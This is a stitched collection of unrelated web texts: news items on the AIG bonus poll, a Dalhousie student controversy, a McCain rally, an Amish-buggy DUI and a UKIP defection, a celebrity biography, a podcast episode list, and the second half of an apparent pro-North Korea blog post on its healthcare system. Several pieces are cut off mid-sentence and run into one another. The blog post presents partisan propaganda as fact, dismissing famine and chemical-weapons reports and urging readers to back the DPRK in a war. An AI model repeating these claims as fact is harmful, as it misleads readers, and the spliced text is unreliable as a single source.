Three in four Americans (76%) want the government to take actions to block or recover the bonuses insurance giant AIG paid its executives after receiving federal bailout funds. The results are based on a one-night Gallup Poll conducted March 17, 2009, after reports that AIG, the recipient of about $170 billion in federal aid, recently paid its executives $165 million in bonuses. AIG contends it had to pay the money because of existing contracts that were in place before the company received bailout funds. On Capitol Hill Wednesday, members of the House Financial Services committee said they were determined to get the money back, demanding from Chairman and CEO Edward Liddy the names of the bonus recipients. Answering questions from lawmakers, Liddy acknowledged that doling out the bonus money was “distasteful.” Reports about the AIG bonuses have dominated the news cycle this week, with lawmakers and journalists chiming in about taxpayer “outrage.” In the Tuesday night Gallup Poll, 59% of Americans said they were personally “outraged” by the bonuses. One in four (26%) said they were “bothered” and just 1 in 10 (11%) said they were not that bothered.Brett Bundale, The Canadian Press
HALIFAX -- A Dalhousie University student leader says she's facing a backlash for criticizing "white fragility" and standing with Indigenous Peoples on Canada 150 celebrations.
Masuma Khan, a member of the student council executive, is under investigation for an online post that another student alleges discriminated against white people.
The issue stems from a Dalhousie Student Union decision not to endorse Canada Day celebrations or hold celebratory events on campus.
The decision prompted outcry from some groups, like the Nova Scotia Young Progressive Conservatives, who said in a Facebook post the student union "should be helping instill pride in our country, not boycott it on our most significant national holiday."
Khan, a fourth-year international development studies student, called the celebrations an ongoing "act of colonialism" and used a hashtag that referred to "white fragility."
"Be proud of this country? For what, over 400 years of genocide?" she said. "I stand by the motion I put forward. I stand by Indigenous students."
Her post prompted Michael Smith, a graduate student in history at Dalhousie, to pen an opinion piece for the National Post newspaper.
"Canada is a welcoming country. We are blessed to be one of the most tolerant and multicultural nations in the world, where all individuals are free to pursue their dreams, regardless of their backgrounds," he said in the op-ed. "Canadians have much to be proud of, and plenty to celebrate on this 150th year."
Khan, a Muslim woman of colour who wears a hijab, said implicit in these comments is that she isn't from Canada.
"People assume I'm an immigrant and assume I should be more thankful for what Canada has given me," said the 22-year-old born and raised in Halifax. "I firmly believe that me being a settler to this land and being born in so-called Halifax in the land of the Mi'kmaq, it's my job to stand in solidarity with them |
but rather it is raised blood pressure among those in their twenties, and much of the population is using improved water and sanitation, to name a few. [28] Other WHO reports show that the population receives Vitamin A supplements to counter some deficiencies, and that the under five mortality rate has been dropping rapidly.
In one medical article apart from the others, there is some praise of the DPRK. In an article that is broadly against the country, the medical researchers must admit that “the burden of mortality due to communicable diseases and malnutrition in North Korea is relatively low in terms of both quantity, expressed in the death rate, and quality,” that tuberculosis’s “mortality rates have declined continuously in the past 15 years.” In one article of a “country study” of the DPRK, it is noted that back in 1938-40 life expectancy was only 38 years old, while it was “70.9 years for males and 77.3 years for females” by 1986, with infant mortality declining, a ” substantial increase in the number of hospitals and clinics, hospital beds, physicians, and other health-care personnel since the 1950s,” growing from 285 in 1955 to 2,401 in 1986, with specialized hospitals, “including those devoted to treating tuberculosis, hepatitis, and mental illness, are generally found in large cities,” and preventive medicine a major focus. Adding to this, a public health law was passed in April 1980 saying that the “state regards it as a main duty in its activity to take measures to prevent the people from being afflicted by disease and directs efforts first and foremost to prophylaxis in public health work” while medical examinations are “required twice a year, and complete records are kept at local hospitals” with a high value afforded on “traditional herbal medicine” and physical education an important part of public health with people “encouraged to take part in recreational sports activities such as running, gymnastics, volleyball, ice skating, and traditional Korean games” along with “group gymnastic exercises.”
There are further aspects worth noting. For one, even with the “development of informal health-care practices” in the country since the 1990s, this sector has actually contributed to the formal healthcare system. In 2007, the DPRK spent 3.02% of its GDP on health expenditures. In 2013, the DPRK spent 38.8% of their budget that year on “health, education, sport, music, art and culture” with an increase of 2.2% for healthcare spending.It is also worth noting that even the World Food Programme must admit that most households aren’t food insecure (see page 33 of this PDF), belaying claims of “famine” in the country.
Recent developments
There have been numerous developments of the DPRK’s healthcare system in recent years. In 2010, with the help of WHO, the country launched a “medical video conference network Tuesday aimed at giving smaller, rural hospitals access to specialists in the capital Pyongyang.” [29] Three years later, the DPRK developed a “clinical medicine information service system” which contained “details on 12,000 pharmaceuticals and 154,000 kinds of medicines from more than 50 countries” as Voice of Korea, a state media outlet, noted.
There are other aspects worth noting. While the DPRK has requested medical aid from the UN (since they are under harsh sanctions), they have still made strides. [30] Last year, the Pyongyang University of Science and Technology noted that it was testing a 3D printer for use in medical settings, with likely some progress made. This month The Pyongyang Times reported that a two-storey new people’s hospital opened in Tongsinhung-ri with “over 10 rooms for special treatment and sophisticated homemade medical and experimental apparatuses” and is part of “the telemedicine system whereby it is connected to such central hospitals…[and] linked online to provincial, city and county hospitals.” [31] It was also noted that using this system, the “latest medical science and technology are disseminated and training courses are given by medical workers at central hospitals,” with increased abilities, with telemedicine,”in raising their abilities as well as in treating patients.” Less than a week ago, Kim Jung Un, the chairman of the Workers’ Party of Korea (WPK), chairman of the DPRK State Affairs Commission and supreme commander of the Korean People’s Army, inspected the newly built Dental Care Supplies Factory, which has a floor space of 12,720 square metres, with the factory able to “turn out annually tens of millions of tubes of toothpaste, mouthwash and a variety of dental care supplies.” [32] In that visit he noted that “the Party [WPK] and government are taking full responsibility for the people’s lives and health and that such socialist healthcare is one and only in the world,” adding that factories like this are “needed to ensure the people lead a worthwhile life enjoying themselves the benefits of socialist healthcare,” even though such healthcare is progressive but not socialist.
Like Cuba, which sends doctors abroad, the DPRK also sends doctors abroad for humanitarian reasons. Even those with anti-DPRK beliefs have to admit this. In July of last year, the DPRK’s ambassador, Jang Myong Ho, visited the al-Assad University Hospital in Damascus, affirming the country’s readiness to support and aid Syria’s health sector, hailing the medical services provided by the hospital, saying that Syrian government had a “just health policy and commitment to provide free treatment to all citizens despite the difficult economic conditions under the current crisis.” He also added that this anniversary of 50 years diplomatic and friendly bilateral relations between the DPRK and Syria is “historical and exemplary,” noting that these relations have been “developed and enhanced” over the years.
With all of this, it is no surprise that proposed sanctions would target the healthcare system of the DPRK and their economy. As I noted in my post on these sanctions,
[while] these sanctions show that the imperial monitoring of “the territory, waters, or airspace of North Korea” shall not apply to those vessels or planes which “import food, medicine, or supplies into North Korea,” the fact that there would be monitoring by the US Navy (and Air Force?) is undoubtedly an act of war…Section 104(a), part of an anti-DPRK sanctions law which went into effect last year, mentioned in the above quote as part of the imperial monitoring, shows these efforts are aimed at the DPRK’s economy
Concluding words
The healthcare system of the DPRK should be celebrated, not something to ridicule. While the bourgeois media focus on the country’s “problems” there is no doubt that they don’t want people to know of these successes. With the ROK having one of the “world’s highest suicide rates, having overtaken that of Japan” and the leading “cause of death is cancer, followed by cerebrovascular and heart disease” even with their “universal health insurance system that is compulsory and covers employees and their relatives (National Health Insurance, NHI),” there are high doctor consulting fees, and “long waiting lines for treatment and high costs.” The DPRK doesn’t have those issues and doesn’t work with the U$ to streamline their system. There are many other resources I could have consulted to finish up this article. [33] As good comrades, we should stand in solidarity with the DPRK against the clear imperialist aggressors. Anyone who doesn’t do so is not only not a real comrade, but they also are not a communist in name or action.
The life within the DPRK and the country’s policies are not what the West says it is. The country has stood by those fighting for national liberation, has a developed democracy of sorts, and has celebrated the International Day of Persons With Disabilities in 2015, and in years afterward (and before). The country has worked with the UNDP to increase its food security and food production.
Some say that the country became “revisionist” after 1972, which is a valid viewpoint, which will be addressed in another post. Reading a number of books, or looking at other resources can help. [34] If a war with the DPRK occurs, started by the unhinged fascist, the orange menace, who can be easily swayed, we should be prepared to support it even if all many of those in our host country (especially if you live in the West) support the war with a fervor. Not standing by the DPRK and against war would show the weakness of “the Left” and prove the capitalists had “won,” something that none of us want.
Notes
[1] Samuel Smith, “22-Y-O American Otto Warmbier Dies After Spending 17 Months in North Korean Prison,” Christian Post, June 19, 2017; Stacey Leasca, “Otto Warmbier: A timeline of the American student’s capture and release in North Korea,” Mic.com, June 19, 2017; Shreesha Gosh, “Donald Trump Says Otto Warmbier Death Caused By North Korea’s ‘Brutal Regime’,” International Business Times, June 20, 2017; Josh Lederman and Matthew Pennington, “Efforts of one U.S. official bring Otto Warmbier home,” AP, June 18, 2017; David Choi, “‘No words were spoken’ — Otto Warmbier’s roommate in North Korea describes the day Warmbier was arrested,” Business Insider, June 19, 2017; Andy Sharp, “Student’s Death Puts Trump Back to Square One on North Korea,” Bloomberg News, June 20, 2017; Maggie Fox, “What Killed Otto Warmbier? Maybe an Infection or Blood Clot,” NBC News, June 20, 2017; Patrick Grafton Green, “Who is Otto Warmbier? Why did North Korea imprison him? How did he die? All we know on late American student,” Evening Standard, June 20, 2017; Otto Warmbier dies days after release from North Korean detention,” Washington Post, June 19, 2017; Choe Sang-Hun, “Otto Warmbier’s Death a New Wedge Between U.S. and North Korea,” New York Times, June 20, 2017. Months of diplomacy for this release seemed to fade into the background.
[2] Fuster Kung, “Death of American detained in North Korea baffles experts,” AP, June 20, 2017, reprinted in the Washington Post; CNN Wire, “John McCain: North Korea ‘murdered’ former detainee Otto Warmbier,” NBC 4, June 20, 2017; Fred Haitt, “Remind me again why we ignore the thousands languishing in North Korea’s concentration camps?,” National Post, June 19, 2017, reprinted from the Washington Post; Christian Caryl, “The North Koreans treated Otto Warmbier like one of their own,” Washington Post, June 19, 2017; Gordon D. Chang, “State-Sanctioned Murder: North Korea Killed Otto Warmbier,” The Daily Beast, June 19, 2017; Danika Fears, “North Korea kills American student,” New York Post, June 19, 2017; Cortney O’Brien, “Rubio Minces No Words: Warmbier Was ‘Murdered’,” TownHall, June 19, 2017; Patrick Maguire, “Otto Warmbier’s death reminds us of North Korea’s brutality,” New Statesman, June 2017; Jonathan Cheng, “North Korea Claims Otto Warmbier Sought Regime Change,” Wall Street Journal, June 18, 2017; Jack Torry and Jessica Wehrman, “Otto Warmbier’s death after release from North Korean detention brings sympathy, anger,” Dayton Daily News, June 19, 2017; CBS News, “S. Korean leader says N. Korea bears “heavy responsibility” for Otto Warmbier’s death,” June 23, 2017.
[3] Bill Chappell, “Tour Company Used By Otto Warmbier Will Stop Taking Americans To North Korea,” NPR News, June 20, 2017; Andreas Litmer, “Warmbier death: Will people still travel to North Korea?,” BBC News, June 20, 2017; Charlie Chappell, “Otto Warmbier’s Death May Spell the End of American Tourism to North Korea. Sadly, That’s About It,” Time.com, June 22, 2017; Neil Connor, “Otto Warmbier’s travel agency stops taking American tourists to North Korea after ‘risk became too high’,” The Telegraph, June 20, 2017; Adly Choi, “Inside the Sketchy Travel Company That Took Otto Warmbier to North Korea,” Nextshark, June 23, 2017. The father of Warmbier did make an honest perception of the horridness of this company even though it has anti-DPRK diatribes within it: “This Chinese company has slick ads on the internet, claiming no American ever gets detained…They lure Americans. And that’s what happened to my son. He was trying to leave the country and he was taken hostage. They advertise it as the safest tour ever. But they provide fodder for the North Koreans. They took him hostage. And the outcome is self-evident.”
[4] Tim Schwarz, Will Ripley, and James Griffiths, “Exclusive: North Korea reveals alleged U.S. prisoner to CNN in Pyongyang,” CNN, Jan. 11, 2016; Taehoon Lee, “North Korea detains fourth US citizen,” CNN, May 8, 2017; BBC News, “North Korean university names detained US citizen,” Apr. 24, 2017; Tom Cleary, “Tony Kim aka Kim Sang-Duk: 5 Fast Facts You Need to Know,” Heavy.com, May 1, 2017; Anna Fifield, “North Korea detains American at airport,” Washington Post, Apr. 23, 2017; KCNA, “Relevant Institution of DPRK Detains American Citizen Jin Xue Song,” May 7, 2017; James Pearson, “North Korea detains third U.S. citizen,” Reuters, Apr. 23, 2017. On May 7th, KCNA said “a relevant institution of the DPRK detained American citizen Jin Xue Song [Kim Hak-song] on May 6 under a law of the DPRK on suspicion of his hostile acts against it. He had worked for operation of Pyongyang University of Science and Technology. A relevant institution is now conducting detailed investigation into his crime.” Currently there are FOUR detained foreign nationals in DPRK, if Wikipedia is right.
[5] Kathy L. Gilbert, “North Korea releases comatose Otto Warmbier,” United Methodist News Service, June 15, 2017; Pyongyang Times, “American Arrested for His Hostile Act against DPRK,” Jan. 23, 2016.
[6] Pyongyang Times, “American Arrestee Interviewed,” Pyongyang Times, March 1, 2016; Pyongyang Times, “American Student Sentenced to 15 Years of Hard Labor in DPRK,” Pyongyang Times, Mar. 16, 2016.
[7] This English translation is very close to another I found from WIPO records.
[8] Jason Hanna, Joshua Berlinger, and Emanuella Grinberg, “Doctors: Ex-North Korea detainee Otto Warmbier has severe brain injury,” CNN, June 16, 2017.
[9] Maggie Fox, “Otto Warmbier Has Extensive Brain Damage, Doctors Say,” NBC News, June 16, 2017.
[10] “American citizen released,” Pyongyang Times, June 16, 2017.
[11] KCNA, “DPRK FM Spokesman Accuses U.S. of Slandering Humanitarian Measure,” June 23, 2017.
[12] KCNA, “DPRK bashing by the US and s. Korea prompts firestorm of protest,” Pyongyang Times, June 25, 2017.
[13] Jonathan Allen, “Otto Warmbier’s family declines autopsy for US student released by North Korea,” The Sydney Morning Herald, June 21, 2017; Young DPRK Watchers, “An objective assessment of Warmbier’s fate: Challenging U.S mythologies,” June 20, 2017; Young DPRK Watchers, “Otto Warmbier as a symbol of American Privilege,” June 18, 2017.
[14] Daily NK, “The dire reality of “universal health care” in North Korea,” June 2, 2015; Barbara Demick, “North Korea’s healthcare is a horror, report says,” Los Angeles Times, July 16, 2010; Caroline Gluck, “N Korea healthcare ‘near collapse’,” BBC News, Nov. 20, 2001; The Week Staff, “North Korea’s ‘horrifying’ health care system,” The Week, July 19, 2010; The Telegraph, “North Korea’s health system ‘on its knees’,” July 15, 2010; Laura Oneale, “North Korea’s Health Dilemma,” June 22, 2013; Freekorea.us, “A guerrilla health care system for North Korea’s poor,” Sept. 28, 2015; Radio Free Asia, “North Korean Health Care ‘Fails’,” July 20, 2010; Sean Alfano, “North Korea’s health care horror, doctors sometimes perform amputations without anesthesia: report,” NY Daily News, July 15, 2010.
[15] I’m not even going to link this horrible report, just the title page if those who are skeptical want to “prove” that I’m right, which would be utterly obnoxious. If you want to read hideous, disgusting, orientalist propaganda and fill your mind with lies, go right ahead, but you’ll be no comrade of him.
[16] BBC News, “Aid agencies row over North Korea health care system,” July 16, 2010.
[17] Josiah Cha, “‘Every patient had malnutrition’ – on a medical mission in North Korea,” The Guardian, Oct. 8, 2015. I think this is the same medical mission.
[18] See pages 126, 127, 128, 129, 130.
[19] As CNN (“Red Cross: North Korea medical system near collapse,” Nov. 6, 1997) and hateful “North Korea watchers” (Liberty in North Korea, “SONGBUN | Social Class in a Socialist Paradise,” June 25, 2012) admit, if you read between the lines, capitalism almost caused the DPRK’s healthcare system to collapse in the 1990s. Even so, the country has been suffering from a bout of revisionism without a doubt since thee 1970s at least.
[20] The report also acknowledges the achievement in “compassionate care for children in general and war orphans in particular; ‘radical change’ in the position of women; [and] genuinely free housing.”
[21] Jonathan Lynn, “North Korea has plenty of doctors: WHO,” Reuters, Apr. 30, 2010.
[22] Brett Schaefer, “United Nations Defends North Korean Health Care System,” The Daily Signal, July 22, 2010; Sierra Rayne, “WHO’s Delusions on North Korea’s Health Care System,” American Thinker, July 24, 2013.
[23] In their travel guidelines for the DPRK, it almost sounds Orientalist, implying that US hospitals are wonderful, shining, and happy compared to those in the DPRK: “Medical facilities in the DPRK lack resources and electricity. Medical personnel have inadequate or outdated skills. Hospitals in Pyongyang can perform basic examinations and lifesaving measures, but functioning x-ray facilities are not generally available. Avoid surgery. If you have an accident outside Pyongyang, transport back to the capital can be lengthy and without medical assistance.”
[25] They have also “adopted the Constitution’s principles by passing Socialist Labour Law, Land Law, Law on Public Health, Law on the Nursing and Upbringing of Children, Law on Environmental Protection, the Criminal Law, the Civil Law, the Family Law, laws for the “total elimination of tax in kind and taxation which is the remnant of the outdated society” with no tax system no longer in the DPRK, and a law enacting “universal free education and the 11-year compulsory education.””
[26] The ROK claims that chemical weapons were developed here, but it undoubtedly a total lie.
[27] 95% of those who drink, drink spirits. There is also strong alcohol consumption by males, more than among females.
[28] This information also says that strokes are the leading cause of death, with probability of dying highest among men over 70, low in all other categories. It also says that people under age 5 mostly die of prematurity and other causes, that over 60% of population in urban areas, and that life expectancy varies depending on age. It is also worth noting that 16.3% of parliament is composed of women.
[29] Sangwoon Won, “North Korea launches medical videoconference network with help of WHO,” Associated Press, 2010. Reprinted on http://www.wellness.com/.
[30] Elizabeth Shim, “North Korea requests medical aid from U.N. agencies,” UPI, July 6, 2015. There are also claims they were trying to learn from China about AIDs.
[31] Han Ryo Gyong, “Rural hospital benefits from telemedicine,” Pyongyang Times, June 24, 2017.
[32] Pyongyang Times, “Kim Jong Un inspects dental care supplies factory,” June 20, 2017; Rodong Sinmun, “Kim Jong Un Inspects New Dental Sanitary Goods Factory,” June 20, 2017.
[33] See data here, here, here, here, here, here, here, here, here (likely on archive.org), and this book.
[34] See here for the following books: “Revolution and Socialist Construction in Korea: Selected Writings of Kim Il Sung“; “Modern Korea: The Socialist North, Revolutionary Perspectives in the South, and Unification“; “The Historical Experience of the Agrarian Reform in Our Country“; “North Korean Journey: The Revolution Against Colonialism“; “Modern History of Korea.” Bruce Cummings is no help here. Neither is this article. As for “Jaka Parker” I haven’t watched any videos to have a viewpoint one way or the other.
AdvertisementsKari Ann Peniche Williams ( peh-NEE-chay;[1] born March 20, 1984) is an actress and entertainer from Fairview, Oregon. She has held the Miss Oregon Teen USA and Miss United States Teen titles. She was stripped of the latter title after appearing nude in the November 2004 issue of Playboy magazine.
She has been the subject of several celebrity gossip stories, including a brief engagement to singer Aaron Carter, a quarrel with singer Mindy McCready, and the leak of a controversial home video involving actors Eric Dane and Rebecca Gayheart. She is also well known to television audiences for her appearances on the first season of Sex Rehab with Dr. Drew, the third season of Celebrity Rehab, and a brief appearance on the second season of Sober House.
Early life and modeling career [ edit ]
Peniche was born in San Diego, California on March 20, 1984. Her mother, Lee Ann Rosenbarger, is a business consultant. Peniche has two younger brothers. After their parents divorced, the three siblings lived with their mother, who was an extreme perfectionist (especially about schoolwork).[2][dead link] Peniche attended a modeling class at age twelve. After briefly moving the family to Houston, Texas, Peniche's mother remarried and moved them to a home on Blue Lake in Fairview, Oregon. At age 16, Peniche won a six-week contract to model in Korea. She returned for another six-week stint at age 18.[2]
Peniche attended Portland Lutheran High School in Gresham, Oregon, where she was a cheerleader.[3] She graduated in 2002, and later attended Portland State University[2] and took classes through UCLA Extension.[4] In a 2008 interview with Steppin' Out magazine, Peniche claimed that she was sexually abused as a minor, teenage model, and beauty queen; also physically abused by a former boyfriend.[5]
Career [ edit ]
Peniche won the Miss Oregon Teen USA 2002[6] title in November 2001. She competed in the Miss Teen USA 2002 pageant but did not place.[7] At the end of her reign she crowned Tami Farrell as the new Miss Oregon Teen USA. The following year she represented Oregon in the Miss United States Teen pageant, which she won.[6] She was crowned November 10, 2003 in Chapel Hill, North Carolina.[2] Peniche was considered an unconventional pageant winner, for her fashion and career choices.[2]
She was later stripped of her Miss United States Teen title after appearing nude in Playboy magazine.[8] Peniche stated that she did not think there would be any issue, since: she claimed that nothing in her beauty pageant contract prohibited her from doing nude modeling; and, her Playboy issue was not published for sale until after her reign had ended.
Peniche went on to host Xtreem, a Seattle-based, cable television program featuring local bands and extreme sports; and, the Boom Boom Huck Jam event.[2] She acted in Small Change, an independent film produced in Seattle,[2] and has appeared in other movies and TV shows.[9] She also launched a line of bikinis called "Strung Out" at Portland Fashion Week.[10][11][12]
Personal life [ edit ]
In September 2006 Aaron Carter, then 18 years old, proposed to Peniche while they were onstage in Las Vegas, Nevada. They had known each other five days. Peniche, who had previously dated his older brother Nick, agreed. The engagement was broken off six days later.[13][14]
On August 17, 2009, a home video was posted on the website Gawker showing Peniche with married actors Eric Dane and Rebecca Gayheart. All three are naked, though the video does not contain any sex acts.[5] Though it is unknown how the video was made public, it had been stored on a hard drive that was the subject of a dispute between Peniche and Mindy McCready during their time on Celebrity Rehab.[8]
Starting in November 2009, Peniche appeared as a patient on the VH1 reality television spinoff series, Sex Rehab with Dr. Drew (a documentary about the treatment process for sexual addiction patients [filmed in April 2009] at the Pasadena Recovery Center). Peniche described herself as having had hundreds of lovers, but being unable to emotionally connect with anyone in any kind of relationship. Peniche's participation in the treatment program was marred by her aggressive and erratic behavior: verbally abusing the staff and other patients; refusing to participate in group discussions, or obey the clinic's rules; forcefully demanding that the staff fetch her fruit juice and bring it to her bedside; accusing people of laughing at her when they clearly were not; and, compulsively smiling (as a beauty pageant contestant might, in order to maintain a facade of well-being) -- even when discussing her own past traumas and pain. Dr. Drew Pinsky, the treating physician, became suspicious that she was using illicit substances such as methamphetamine, or had been prior to being admitted. The PRC's staff psychiatrist diagnosed her as having borderline personality disorder (BPD). It was indicated that both the substance abuse and BPD had to be treated before any treatment for sexual addiction could begin.[15] Eventually, Peniche was involuntarily discharged for failing to comply with the program's guidelines. She refused Pinsky's offer of an alternative program at a nearby psychiatric hospital,[16][17] and during the process of being evicted from her home, she made suicidal gestures and became abusive toward the show's production staff (e.g., throwing a container of water onto a technician).
Later, during production of the third season of Celebrity Rehab, Peniche contacted Pinsky for help. Pinsky explained that her aggressive behavior during Sex Rehab was derived from drugs she smuggled into the PRC in her teddy bear; and, were difficult to detect during drug testing because of the medication Peniche took for attention deficit disorder. Pinsky went to her residence, where Peniche showed him the crystal meth she was using. She was shown returning to the Pasadena Recovery Center at the end of that season's fourth episode. Executive producer John Irwin claimed that her behavior changed by her second appearance, although she did allegedly punch a cameraman, at one point.[18][19][20][21] In her second stint at the Pasadena Recovery Center, Peniche again exhibited some problematic behaviors (including conflict with the staff and other patients, plus again violating facility rules); however, she did complete the program.
Peniche joined the cast of Celebrity Rehab Presents Sober House, in which she transferred into a sober living facility (often an interim step between rehab, and returning to society). In the first episode, she became verbally abusive toward the sober living manager (Jennifer Gimenez), and tested positive for methamphetamine.[22] During the second episode, admitted being worried that her former Rehab co-star, Mindy McCready (whom Peniche had invited to move in with her at the end of their season on Rehab—an idea that Dr. Pinsky openly opposed) had access to sensitive materials on Peniche's computer. (It was later reported that the two argued over money, and, an accusation over a stolen hard drive [containing the nude video featuring Peniche, Eric Dane, and Rebecca Gayheart]).[23]) As Peniche was being filmed returning home to address this matter, she punched a cameraman in the eye, and was evicted from the sober living facility.[24] A few days later, Head Counselor Bob Forrest brought Peniche back to the facility to see if the residents would accept her return; but, (with the exception of co-patient/-resident Tom Sizemore), the residents declined Peniche's in-person plea to return, and she left amid stinging criticism by Heidi Fleiss.[25]
Peniche wed investment builder Justin Williams in February 2011 in Los Angeles, California and they have two children together, a son named Preston and a daughter named Layla.[26][27][28] Their marriage has been strained, reportedly due to Peniche's behavior, both past and present; her husband has made allegations of infidelity against her and of child abuse, saying a hair follicle test showed she'd exposed their then 10-month-old son to methamphetamine.[29][30]
References [ edit ]CINCINNATI, Ohio—A conservative radio talk show host who helped introduce Senator John McCain before a rally here Tuesday used Senator Barack Obama’s middle name, Hussein, three times, while disparaging him, prompting Mr. McCain to apologize and repudiate the comments afterward.
Bill Cunningham, who hosts “The Big Show” with Bill Cunningham, a local program here that is also syndicated nationally, was part of a line of people lauding Mr. McCain and revving up the crowd before his appearance here before several hundred people at a theater here.
He lambasted the national media, drawing cheers from the audience, for being soft in their coverage of Mr. Obama compared to the Republican candidates, declaring they should “peel the bark off Barack Hussein Obama.”
He went on to rail, “at one point, the media will quit taking sides in this thing and start covering Barack Hussein Obama.”
After Mr. Cunningham spoke, Congressman Rob Portman, an Ohio Republican, took the stage and introduced Mr. McCain, who spoke for about a half hour. Neither commented about Mr. Cunningham’s remarks.
Mr. Portman said: “Willie, you’re out of control again. So, what else is new? But we love him. But I’ve got to tell you, Bill Cunningham lending his voice to this campaign is extremely important. He did it in 2000, he did it in 2004, it was crucial to victory then and it’s even more important this year with his bigger radio audience. So Bill Cunningham thank you for lending your voice.”
Afterward, however, Mr. McCain held a scheduled news conference and immediately addressed the comments, evidently informed by his aides about what had happened.
“It’s my understanding that before I came in here a person who was on the program before I spoke made some disparaging remarks about my two colleagues in the Senate, Senator Obama and Senator Clinton,” he said. “I have repeatedly stated my respect for Senator Obama and Senator Clinton, that I will treat them with respect. I will call them ‘Senator.’ We will have a respectful debate, as I have said on hundreds of occasions. I regret any comments that may have been made about these two individuals who are honorable Americans.”
Responding to questions from reporters, Mr. McCain said he did not hear what Mr. Cunningham said, saying that when he arrived, Mr. Portman was on stage.
“Whatever suggestion that was made that was any way disparaging to the integrity, character, honesty of either Senator Obama or Senator Clinton was wrong,” he said, “I condemn it, and if I have any responsibility, I will take the responsibility, and I apologize for it.”
He called Mr. Obama a “man of integrity” and said he was someone he had come to know “pretty well and I admire.”
He also said that it was not appropriate to invoke Mr. Obama’s middle name in the course of the campaign.
“I absolutely repudiate such comments,” he said. “It will never happen again.”
Mr. Obama’s middle name, which is Muslim in origin, comes from his late father, Barack Hussein Obama, Sr., a Kenyan.
Mr. Obama’s campaign has been dogged by whispered rumors that he is a Muslim—he is actually a practicing Christian. Periodically, his full name has been bandied about by conservatives critics, drawing indignation from Mr. Obama’s campaign and others.
“We appreciate Senator McCain’s remarks. It is a sign that if there is a McCain-Obama general election, it can be intensely competitive but the candidates will attempt to keep it respectful and focused on issues,” said Obama campaign spokesman Bill Burton.
Updated Mr. Cunningham later posted video on his 700WLW blog of his remarks at the McCain event, as well as his reaction to Senator McCain’s criticism. Sitting at a microphone in an office, Mr. Cunningham said:
Only Democrats, Air America, New York Times, talk-show hosts and newspaper reporters have freedom of speech. I have the right to speak my mind any way that I would like. If I consider Obama to be a hack Chicago politician from the Daley political machine, taking money from this Tony Rezko dude under threat of federal indictment, can’t I speak truth to power?
Mr. Cunningham said the media often say “nasty, negative things” about President Bush and Vice President Cheney, and that The Times had “smeared” John McCain on its front page.
Treat all the politicians the same. We’re not dealing with the messiah here. Obama cannot heal the sick and make the blind see. He’s a hack Democratic politician from Chicago, that’s all he is. Let’s treat him like every other hack Democratic or Republican politician.
Then he continued:
I’m angry at McCain. Why would John McCain repudiate me? I’ve been able to unite McCain and Obama against me. I might become a supporter of Ralph Nader.
Video: John Harwood, of The Times and CNBC, has this report.A Nottingham man will serve at least a month in prison for a "bizarre" DUI incident last year when he gave alcohol to Amish juveniles, then yelled "Rumspringa" while causing a collision with a horse-drawn buggy, the Lancaster County Office of District Attorney reports.
Thomas Candler Felts, 25, was sentenced Tuesday in Lancaster County Court after pleading guilty to misdemeanor counts of DUI and furnishing alcohol to minors.
Felts had no prior record and was ordered to serve 30 days to 6 months in prison, and a year of probation.
Assistant District Attorney Travis S. Anderson told the judge it was one of the most "bizarre" DUI cases he's ever seen, the DA's office reported.
A release from the office includes the following chronology of events:
The Aug. 30 incident started in the early morning at a Turkey Hill store on Route 272, at Buck, where a group of Amish boys were with a horse-drawn buggy.
A man later identified as Candler Felts pulled into the parking lot and began talking to the group, which included juveniles, about "Rumspringa."
Candler Felts showed the group his pistol and provided them cans of Yuengling Lager beer.
Candler Felts drove away in a red Dodge car and the Amish group left in the buggy.
Later, on Buck Heights Road, Candler Felts passed the buggy and screamed "Rumspringa." He then stopped his vehicle abruptly, causing the buggy to strike the back of the Dodge. No one was seriously hurt.
Candler Felts then asked the Amish group where his pistol was; they replied they didn't know.
Testing shortly after the collision determined Candler Felts' blood-alcohol level was.126 percent. The state legal limit for drivers if.08 percent.One of the UK Independence Party ’s most senior politicians has defected to the Conservatives in a major blow to Nigel Farage’s general election campaign.
Amjad Bashir, a Ukip MEP and the party’s leading Asian figure, told The Telegraph that Ukip had become a “party of ruthless self-interest” that was incapable of delivering a referendum on membership of the European Union.
In a damning broadside against his former colleagues, he described Ukip as “pretty amateur” and condemned its “ridiculous” lack of policies. He said the party was “delusional” about its chances of winning seats in May.
A Ukip spokesman said evidence obtained by the party in its investigations would be sent to the police.
But Mr Bashir described the move as a “desperate attempt” by Ukip to limit the damage of his defection.
He said: "On Friday I met David Cameron and applied to join the Conservative Party. It is clear Ukip's action today is a desperate attempt to spoil this and is without any foundation.
"The issues raised in my notice of suspension are historic and well known to the party. Indeed, on one of them, Nigel Farage has publicly defended me over it."
A Ukip source said the party had learned that Mr Bashir was defecting at mid |
true story of a mysterious encounter in Portland, Oregon. Go To Episode Page
Description Howard gives Jonathan a run for his money as he announces the launch of his very own, 1205 page-long book. Plus, Jonathan mediates a showdown between optimist Neil Pasricha and pessimist Meghan Carlson to determine once and for all whether the world is awesome or not so awesome. Go To Episode Page
Description What's so great about "the Now"? Jonathan tries to embrace the present and live in the moment... despite the fact that the present moment usually consists of being harassed by so-called friends. Go To Episode Page
Description Howard becomes a hairstylist as part of his plan to bring cornrows back into fashion. Plus, Josh dabbles in the world of contemporary art, and Gregor throws Jonathan a surprise press junket... in Maui. Go To Episode Page
Description With winter on the way, Howard wants to buy his pugs hand-made poodle-fur coats. And so he must do the unthinkable: get a job. Plus, Jonathan speaks with his father about making a fuss in public, and Gregor ropes Jonathan in to a public speaking engagement... on the topic of public speaking. Go To Episode Page
Description Jonathan speaks with a professional Rainbow Chaser about extreme weather tracking. Plus, Howard redesigns Jonathan's studio to welcome it into the 21st century, and Gregor finds his true calling in Hollywood. Go To Episode Page
Description This week on WireTap, Howard launches "Jonny 2.0", a monolog machine that can stand in for Jonathan when he goes on vacation. Plus, Gregor reveals how he's been keeping close tabs on Jonathan's comings and goings, and special cameo appearances by Bernice Meadows and Rap Master Maurice. Go To Episode Page
Description Jonathan's backyard brunch takes a turn for the worse when Howard dumps clamato juice all over Jonathan's boss and locks himself in the bathroom for the remainder of the gathering. Plus, Gregor pitches a Jonathan Goldstein amusement park ride. Go To Episode Page
Description When Gregor starts collecting Jonathan's hair and toenail clippings, it can only mean one thing: Voodoo Jonny. Plus, Jonathan discovers that an eleven year-old boy is podcasting his own version of WireTap, and Dan Beirne reads an excerpt from Ryan Knighton's new book "C'mon Papa: Dispatches from a Dad in the Dark." Go To Episode Page
Description Ever told someone "I owe you one"? This week on WireTap, Tucker cashes in a long owed favor that leaves Jonathan wishing he'd never uttered the phrase. Plus, Howard discovers he's famous and is quick to embrace his newfound celebrity status. Go To Episode Page
